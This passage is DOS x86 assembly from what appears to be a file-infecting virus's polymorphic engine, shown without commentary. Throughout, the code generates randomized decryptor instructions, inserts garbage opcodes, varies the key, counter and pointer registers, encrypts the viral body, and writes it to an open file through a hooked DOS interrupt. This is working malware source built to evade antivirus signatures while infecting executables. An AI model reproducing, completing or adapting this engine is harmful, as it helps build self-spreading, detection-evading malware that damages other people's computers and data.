                jnz     make_incptr_1
make_incptr_2:  xchg    al,ah
make_incptr_1:  call    add_reg
                sub     ds:disp,dx              ; add to displacement
                retn 

;=====( Dec counter )========================================================;

make_deccount:  cmp     si,offset make_deccount ; last operation?
                jnz     make_deccount_notlast
                call    boolean                 ; do it?
                jnz     make_deccount_notlast
                or      bp,4800h                ; remember we're last
make_deccount_notlast:
                mov     al,ds:count_reg
                cmp     al,_cx                  ; possible to use LOOP/LOOPNZ?
                jnz     make_deccount_notcx
                call    boolean
                jnz     make_deccount_notcx
                or      bp,2000h                ; do LOOP
                jmp     make_deccount_exit

make_deccount_notcx:
                mov     dx,-1                   ; ADD counter,-1
                call    add_reg
make_deccount_exit:
                or      bp,400h                 ; deccount executed
                retn                   

;=====( Make encryption instruction )========================================;

make_enc:       push    bp
                and     bp,not 400h
                mov     al,ds:key_reg
                push    ax                      ; save key register
make_enc_which: mov     ax,4                    ; ADD/SUB/XOR/ROR/ROL
                call    random
                mov     bx,0105h                ; ADD [DI],AX
                mov     cx,1119h                ; ADC/SBB
                mov     dx,2905h                ; SUB [DI],AX
                jz      make_enc_add
                dec     ax
                jz      make_enc_sub
                dec     ax
                jnz     make_enc_ror
                mov     bh,31h                  ; XOR
                mov     dx,3105h                ; XOR [DI],AX
                jmp     make_enc_sto

make_enc_ror:   cmp     ds:key_reg,_cx          ; CX is key?
                jne     make_enc_which
                or      bp,400h                 ; Put XCHG CX,AX
                mov     bh,0d3h
                mov     dx,0d30dh               ; ROL 
                dec     ax
                jz      r_make_enc_sto
                xchg    bx,dx                   ; ROR
r_make_enc_sto: mov     ds:key_reg,al           ; 1 SHL 3 = 08 / D3 08
                                                ; D3 00 = ROL [],CL
                jmp     make_enc_sto

make_enc_sub:   xchg    dh,bh                   ; SUB - ADD [DI],AX
                xchg    cl,ch                   ; SBB/ADC
make_enc_add:   call    boolean                 ; do Carry?
                jnz     make_enc_sto
                push    bx
                mov     bh,ch                   ; Make it ADC/SBB
                call    clear_carry
                cmp     al,0
                org     $ - 1
make_enc_sto:   push    bx
                test    bp,8000h                ; EXE file?
                jz      make_enc_com
                call    is_bp_ptr               ; is BP a pointer?
                je      make_enc_com
                mov     al,2eh                  ; CS:
                call    boolean
                jnz     make_enc_cs
                mov     al,36h                  ; SS:
make_enc_cs:    stosb                           ; store segment override
make_enc_com:   mov     al,bh
                stosb                           ; store instruction
                mov     ax,word ptr ds:ptr_reg  ; get pointer registers
                cmp     ah,-1                   ; second reg?
                je      make_enc_xlat
                add     al,ah
make_enc_xlat:  mov     bx,offset rm_tbl
                xlat                            ; get r/m
                call    is_bp_ptr               ; is BP a pointer?
                jnz     make_enc_nobp
                inc     ah                      ; is there a second reg?
                jne     make_enc_nobp
                or      al,01000000b            ; [BP+xx]
make_enc_nobp:  mov     cx,ds:disp              ; get displacement
                mov     bx,6
                call    random_bx               ; allow no displacement?
                jz      make_enc_get_disp
                jcxz    make_enc_sto_rm
make_enc_get_disp:
                or      al,01000000b            ; 8bit displacement
                call    boolean                 ; allow 8bit displacement?
                jnz     make_enc_16bit
                cmp     cx,7fh                  ; 8bit displacement?
                jbe     make_enc_sto_rm         
                cmp     cx,-80h
                jb      make_enc_16bit
                xor     ch,ch
                cmp     ax,0
                org     $ - 2
make_enc_16bit: xor     al,11000000b            ; 8bit off, 16bit on
make_enc_sto_rm:mov     ah,ds:key_reg
                shl     ah,1
                shl     ah,1
                shl     ah,1                    ; from bits 0-2 of AH
                or      al,ah                   ; to bits 3-5 of AL
                stosb                           ; store r/m byte 
                test    al,11000000b            ; any displacement?
                jz      make_enc_disp
                test    al,10000000b            ; 16bit displacement?
                xchg    cx,ax
                stosw                           ; store displacement
                jnz     make_enc_disp
                dec     di                      ; 8bit only
make_enc_disp:  xchg    di,ds:encode_ptr        ; get encode ptr
                test    bp,400h                 ; store XCHG CX,AX?
                je      make_enc_nor
                mov     al,91h                  ; XCHG CX,AX
                stosb
make_enc_nor:   xchg    dx,ax
                xchg    al,ah
                mov     ds:encode_enc_ptr,di    ; save instruction pointer
                stosw                           ; set encryption instruction
                je      make_enc_nor1
                mov     al,91h                  ; XCHG CX,AX
                stosb
make_enc_nor1:  xchg    di,ds:encode_ptr        ; restore decrypt ptr
                pop     ax
                xchg    al,ah
                mov     word ptr ds:write_buff[encode_flip-encode],ax 
                                                ; save opposite operation
                pop     ax 
                mov     ds:key_reg,al           ; restore key register
                pop     bp
                retn
                
rm_tbl:         db      -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3  ; -1's not used

;=====( Change key )=========================================================;

make_keychange: call    boolean                 ; change key?
                jnz     make_keychange_yes
                retn
                
make_keychange_yes:
                push    bp
                or      bp,200h                 ; let know that keychange
                mov     ax,3
                call    random                  ; 1 in 4 chance of modify_reg
                jnz     keychange_other
                call    random_1
                xchg    dx,ax                   ; Random value to modify key
                                                ; reg by
                mov     al,ds:key_reg
                call    modify_reg              ; XOR/ADD/OR
keychange_stoop:xchg    di,ds:encode_ptr        ; get ptr to encode
                inc     di                      ; CLC
                mov     al,ds:modify_op         ; get operation
                stosb
keychange_stodx:xchg    dx,ax                   ; store value/operation
keychange_sto:  stosw
                xchg    di,ds:encode_ptr        ; get decrypt pointer
                pop     bp
                retn

keychange_other:mov     al,4                    ; ROR/ROL/NOT/NEG/ADD
                call    random 
                jnz     keychange_rol
                mov     ax,0d1c0h               ; ROR AX,1
keychange_cl:   mov     bx,2                    ; 1 in 3 chance of ,CL
                call    random_bx
                jnz     keychange_nocl
                cmp     ds:count_reg,_cx          ; Count is CX?
                jne     keychange_nocl
                test    bp,400h                 ; Count already decremented?
                jnz     keychange_nocl
                or      ah,2                    ; By CL
keychange_nocl: xchg    al,ah
                push    ax
                or      ah,ds:key_reg           ; set key register
                stosw                           ; store instruction
                pop     ax
                xchg    di,ds:encode_ptr        ; get encode ptr
                jmp     keychange_sto

keychange_rol:  dec     ax
                jnz     keychange_not
                mov     ax,0d1c0h or (1 shl 3)  ; ROL AX,1
                jmp     keychange_cl

keychange_not:  dec     ax
                jnz     keychange_neg                
                mov     ax,0f7c0h + (2 shl 3)   ; NOT AX
                jmp     keychange_nocl

keychange_neg:  dec     ax
                jnz     keychange_add
                mov     ax,0f7c0h + (3 shl 3)   ; NEG AX
                jmp     keychange_nocl

keychange_add:  call    random_1
                xchg    dx,ax
                mov     al,ds:key_reg           ; get key register
                call    add_reg                 ; ADD reg(ax), value(dx)
                jmp     keychange_stoop

;=====( Build key )==========================================================;

make_key:       call    get_reg                 ; get register
                xchg    dx,ax
                call    random_1                ; get key
                mov     ds:key,ax               ; save key
                xchg    dx,ax
                mov     ds:key_reg,al           ; save register
                call    mov_reg                 ; MOV reg(ax),value(dx)
                retn

;=====( Build counter )======================================================;

make_count:     call    get_reg                 ; get register
                mov     ds:count_reg,al         ; save register
                mov     dx,(decrypt-v_start)/2  ; # of words to crypt
                call    mov_reg                 ; mov reg(ax),value(dx)
                retn

;=====( Build Pointer )======================================================;

make_ptr:       mov     dx,ds:pointer
                call    get_ptr_reg             ; get DI/SI/BP/BX
                mov     ds:ptr_reg,al
                mov     ds:ptr_reg1,-1          
                mov     bx,3
                call    random_bx               ; 1 in 4 chance of 2 regs
                jnz     make_ptr_2
                cmp     al,_si
                mov     bx,11000000b            ; DI/SI
                jb      make_ptr_test
                mov     bl,00101000b            ; BP/BX
make_ptr_test:  test    bp,bx                   ; 'other' availible?
                jz      make_ptr_2
make_ptr_again: call    get_ptr_reg             ; get DI/SI/BP/BX
                push    ax
                call    conv_num                ; convert to bit-map number
                test    al,bl                   ; is it other type?
                pop     ax
                jnz     make_ptr_ok
                call    del_reg                 ; delete register
                jmp     make_ptr_again

make_ptr_ok:    mov     ds:ptr_reg1,al          ; save second register
                mov     bx,-1
                call    random_bx
                sub     dx,bx                   ; randomize values
                xchg    bx,dx
                call    mov_reg                 ; mov reg(ax), value(dx)
                xchg    bx,dx
                mov     al,ds:ptr_reg           ; get first reg
make_ptr_2:     xor     bx,bx                   ; zero displacement
                call    boolean                 ; use one?
                jnz     make_ptr_nodisp
                mov     bx,-1
                call    random_bx
                sub     dx,bx                   ; subtract displacement
make_ptr_nodisp:mov     ds:disp,bx              ; save displacement
                call    mov_reg                 ; mov reg(ax), value(dx)
                retn
                
;=====( Shell for mov_reg1 )=================================================;

mov_reg:        push    bx dx
                mov     bx,4
                call    random_bx               ; 1 in 5 chance of MOV/ADD/SUB
                jnz     mov_reg_call
                mov     bx,-1
                call    random_bx               ; get random #
                sub     dx,bx                   ; MOV reg, value-random #
                call    mov_reg1                ; do MOV reg,
                mov     dx,bx
                call    add_reg                 ; Now add difference
                pop     dx bx
                retn

mov_reg_call:   pop     dx bx

;=====( Mov reg(ax), value(dx) )=============================================;

mov_reg1:       push    ax bx cx dx
                cbw
                mov     bx,2
                call    random_bx               ; MOV or SUB/XOR ADD/OR/XOR
                jz      mov_reg_other
                mov     bl,2
                call    random_bx               ; 1 in 3 chance of c6/c7 MOV
                jnz     mov_reg_b0
                or      ax,0c7c0h               ; MOV reg,imm
                call    boolean                 ; Do long MOV or LEA?
                jnz     mov_reg_c7
                mov     cl,3
                shl     al,cl                   ; Reg -> bits 3,4,5
                xor     ax,(8d00h or 110b) xor 0c700h  ; LEA reg,[imm]
mov_reg_c7:     xchg    al,ah
                stosw                           ; store it
mov_reg_sto:    xchg    dx,ax
                stosw                           ; store value
                call    garble
mov_reg_exit:   jmp     modify_pop

mov_reg_b0:     or      al,0b8h                 ; MOV reg,imm
                stosb
                jmp     mov_reg_sto

mov_reg_other:  push    ax
                mov     cl,3
                mov     ch,al
                shl     ch,cl                   ; copy reg1 to reg2
                or      al,ch                   ; set it
                call    boolean
                jnz     mov_reg_other1
                or      ah,2                    ; reg1, reg2 -> reg2, reg1
mov_reg_other1: call    boolean
                jnz     mov_reg_xor
                or      ax,29c0h                ; SUB reg, reg
                call    boolean
                jnz     mov_reg_other_sto
                xor     ah,19h xor 29h          ; SBB reg, reg
                call    clear_carry             ; clear carry flag
mov_reg_other_sto:
                xchg    al,ah
                stosw
                call    garble
                pop     ax
                call    modify_reg              ; ADD/OR/XOR reg(ax),value(dx)
                jmp     mov_reg_exit

mov_reg_xor:    or      ax,31c0h                ; XOR AX,AX
                jmp     mov_reg_other_sto

;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;

modify_reg:     push    ax bx cx dx
                cbw
                mov     bx,2
                call    random_bx
                mov     cx,3500h + (6 shl 3)    ; XOR
                jz      modify_reg_cont
                mov     cx,0d00h + (1 shl 3)    ; OR
                dec     bx
                jz      modify_reg_cont
modify_reg_add: mov     cx,0500h                ; ADD
                call    boolean                 ; ADC or ADD?
                jnz     modify_reg_cont
                mov     cx,1500h + (2 shl 3)    ; ADC
modify_reg_clc: call    clear_carry             ; Clear carry flag
modify_reg_cont:test    bp,200h                 ; keychange executing?
                jz      modify_reg_nosave
                mov     ds:modify_op,ch         ; save AX operation
modify_reg_nosave:
                call    boolean                 ; check if AX?
                jnz     modify_reg_noax
                or      al,al                   ; AX?
                jnz     modify_reg_noax
                mov     al,ch
                stosb                           ; store instruction
                xchg    dx,ax
modify_sto:     stosw                           ; store value
modify_exit:    call    garble
modify_pop:     pop     dx cx bx ax
                retn

modify_reg_noax:or      ax,81c0h
                or      al,cl                   ; XOR/OR/ADD
                call    boolean                 ; sign extend?
                jnz     modify_reg_nosign
                cmp     dx,7fh                  ; possible to sign extend?
                jbe     modify_sign
                cmp     dx,-80h
                jb      modify_reg_nosign
modify_sign:    or      ah,2                    ; sign extend
modify_reg_nosign:                
                xchg    al,ah
                stosw
                test    al,2                    ; sign extended?
                xchg    dx,ax
                je      modify_sto
                stosb
                jmp     modify_exit
                
;=====( ADD reg(ax), value(dx) )=============================================;

add_reg:        push    ax bx cx dx
                cbw
                mov     cx,dx
add_loop:       mov     bx,3
                call    random_bx               ; 1 in 4 chance of ADD/SUB
                jz      add_noinc
                mov     bx,40c0h                ; INC reg
                test    bp,200h                 ; keychange running?
                jz      add_nosave
                mov     ds:modify_op,05h        ; ADD AX,
add_nosave:     cmp     cx,3h                   ; too high to INC?
                jb      add_inc
                neg     cx
                cmp     cx,3h                   ; too low to DEC?
                ja      add_noinc
                mov     bx,48c0h + (1 shl 3)    ; DEC reg
                test    bp,200h
                jz      sub_nosave
                mov     ds:modify_op,2dh        ; SUB AX,
sub_nosave:     inc     dx
                inc     cx
                cmp     ax,0
                org     $ - 2
add_inc:        dec     dx
                dec     cx
                push    ax
                mov     ax,5
                call    random                  ; 1 in 6 chance of FF
                pop     ax      
                push    ax
                jnz     add_inc_40
                mov     ah,0ffh
                xchg    bl,bh
                xchg    al,ah                   ; AL=ff AH=Reg
                stosb 
                xchg    al,ah
add_inc_40:     or      al,bh                   ; set DEC/INC
                stosb
                pop     ax
                call    garble
                or      dx,dx                   ; all done?
                jnz     add_loop
add_reg_exit:   jmp     modify_pop

add_noinc:      call    boolean                 ; ADD or SUB?
                jz      sub_reg
                jmp     modify_reg_add
                
sub_reg:        test    bp,200h                 ; keychange?
                jnz     sub_reg_key
                neg     dx
sub_reg_key:    mov     cx,2d00h + (5 shl 3)    ; SUB
                call    boolean                 ; use SBB?
                jz      sbb_reg
                jmp     modify_reg_cont

sbb_reg:        mov     cx,1d00h + (3 shl 3)    ; SBB
                jmp     modify_reg_clc
                
;=====( clear carry flag )===================================================;

clear_carry:    push    ax bp
                or      bp,800h                 ; don't change flags
                mov     al,0f8h                 ; CLC
                call    boolean
                jnz     clear_carry_clc
                mov     ax,0f5f9h               ; STC/CMC
                stosb
                call    garble
                xchg    al,ah
clear_carry_clc:stosb
                call    garble
                pop     bp ax
                retn

garble:         push    ax
                mov     ax,2
                call    random                  ; how many times to call?
                xchg    cx,ax
                jcxz    garble_exit
garble_loop:    call    garble1
                loop    garble_loop
garble_exit:    xchg    cx,ax
                pop     ax
                retn

;=====( add garbage code )===================================================;

garble1:        push    ax bx cx dx bp
                test    bp,100h                 ; Garble already executing?
                jnz     garble_ret
                and     bp,not 200h             ; keychange not executing
                or      bp,100h                 ; Garble executing
                call    boolean
                jnz     garble_ret
                mov     cl,3
                call    random_1
                xchg    dx,ax                   ; DX=random number
                call    get_reg                 ; get register
                jc      garble_ret
                mov     bx,6
                test    bp,800h                 ; flag change allowed?
                jz      garble_f
                mov     bl,2
garble_f:       call    random_bx            ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
                jnz     garble_xchg
                or      ah,89h
garble_reg_set: call    boolean                 ; reg1, reg2 or reg2, reg1?
                jz      garble_reg_reg
                or      ah,2                    ; 8b
                xchg    al,dl
garble_reg_reg: and     dl,7                    ; Get register values only
                and     al,7
                shl     dl,cl
                or      al,0c0h                 ; MOV reg1, random reg
                or      al,dl
                xchg    al,ah
                stosw
garble_ret:     pop     bp 
                jmp     modify_pop

garble_xchg:    dec     bx
                jnz     garble_1byte
                xchg    dx,ax
                call    get_reg                 ; get another reg
                jc      garble_ret
                xchg    dx,ax                   ; AL=reg1 DL=reg2
                call    boolean
                jnz     garble_xchgnoax
                or      dl,dl                   ; AX?
                jz      garble_xchgax
                or      al,al
                jz      garble_xchgax
garble_xchgnoax:or      ah,87h                  ; XCHG reg1,
                jmp     garble_reg_reg

garble_xchgax:  or      al,90h
                or      al,dl                   ; XCHG AX, reg
garble_stosb:   stosb
                jmp     garble_ret
                
garble_1byte:   dec     bx
                jnz     garble_modify
                mov     al,4
                call    random
                mov     bx,offset garble_1byte_tbl
                xlat                            ; get 1 byte instruction
                jmp     garble_stosb
                
garble_modify:  dec     bx
                jnz     garble_add
                call    modify_reg              ; ADD/XOR/OR reg1, random #
                jmp     garble_ret

garble_add:     dec     bx
                jnz     garble_mov
                call    add_reg                 ; ADD/SUB reg1, random #
                jmp     garble_ret

garble_mov:     dec     bx
                jnz     garble_op
                call    mov_reg                 ; MOV reg1, random #
                jmp     garble_ret

garble_op:      and     dh,00111000b            ; get rnd op
                mov     ah,1
                or      ah,dh
                jmp     garble_reg_set

garble_1byte_tbl:
                db      2eh
                db      36h
                cld
                std
                sti
                
;=====( Is BP a Pointer? )===================================================;

is_bp_ptr:      cmp     ds:ptr_reg,_bp
                je      bp_is_ptr
                cmp     ds:ptr_reg1,_bp
bp_is_ptr:      retn

;=====( Get pointer register (DI/SI/BP/BX) )=================================;

get_ptr_regnext:call    del_reg                 ; restore register to pool

get_ptr_reg:    call    get_reg                 ; get register
                cmp     al,_bx
                je      got_ptr_reg
                cmp     al,_bp
                jb      get_ptr_regnext
got_ptr_reg:    retn

;=====( return random register in AL )=======================================;

get_reg:        test    bp,11101111b            ; any registers free?
                stc
                jz      get_reg_exit
get_reg_loop:   mov     ax,7
                call    random
                push    ax
                cbw
                call    conv_num                ; convert to bit map
                test    bp,ax                   ; is register free?
                pushf
                not     ax
                and     bp,ax                   ; mark register
                popf
                pop     ax
                jz      get_reg_loop
get_reg_exit:   retn
                
;=====( Restore register to pool )===========================================;

del_reg:        push    ax
                cbw
                call    conv_num                ; convert to bit number
                or      bp,ax                   ; restore register
                pop     ax
                retn

;=====( convert number to bit map )==========================================;

conv_num:       push    cx
                mov     cl,al
                mov     al,1
                shl     al,cl
                pop     cx
                retn

;=====( randomize order of BX/CX/DX/SI, then call )==========================;

order:          call    garble
                mov     ax,2
                call    random
                xchg    cx,ax
                inc     cx
order_loop:     call    boolean
                jnz     order1
                xchg    bx,ax
order1:         call    boolean
                jnz     order2
                xchg    dx,ax
order2:         call    boolean
                jnz     order3
                xchg    si,ax
order3:         loop    order_loop
                push    si dx bx ax
order_ret:      retn

;=====( return random number between 0 and ffff in bx )======================;

random_bx:      xchg    bx,ax
                call    random
                xchg    bx,ax
                retn

;=====( flip Sign bit )======================================================;

boolean:        push    ax
                mov     ax,1
                call    random
                pop     ax
                retn

;=====( return random number between 0 and ffff )============================;

random_1:       mov     ax,-1

;=====( Generate random number between 0 and AX )============================;

random:         push    ds bx cx dx ax
                xor     ax,ax
                int     1ah
                push    cs
                pop     ds
                in      al,40h
                xchg    cx,ax
                xchg    dx,ax
                mov     bx,offset ran_num
                xor     ds:[bx],ax
                rol     word ptr ds:[bx],cl
                xor     cx,ds:[bx]
                rol     ax,cl
                xor     dx,ds:[bx]
                ror     dx,cl
                xor     ax,dx
                imul    dx
                xor     ax,dx
                xor     ds:[bx],ax
                pop     cx
                xor     dx,dx
                inc     cx
                je      random_ret
                div     cx
                xchg    ax,dx
random_ret:     pop     dx cx bx ds
                or      ax,ax
                retn
                    
ran_num         dw      ?

;=====( Encrypts the code/writes it/decrypts code )==========================;

encode:         mov     bx,ds:handle
                mov     ax,0
key             =       word ptr $ - 2
                mov     cx,(decrypt-v_start)/2
                xor     di,di
encode_break:   clc
                clc
                clc
                clc                     ; XCHG CX,AX XCHG CX,AX
                clc
                clc                     ; CLC ADD AX,xxxx / XOR [DI],AX
                clc
                clc                     ; XOR [DI],AX / CLC ADD AX,xxxx
                inc     di
                inc     di
                loop    encode_break
encode_ret      =       byte ptr $    
                mov     ah,40h
                mov     cx,file_size
                cwd
                pushf
                call    cs:int_21
                jc      encode_flag
                sub     ax,cx
encode_flag:    pushf
                pop     bp
                mov     word ptr ds:[si],0
encode_flip     =       word ptr $ - 2
                mov     byte ptr ds:write_buff[encode_ret-encode],0c3h
                jmp     encode
encode_end: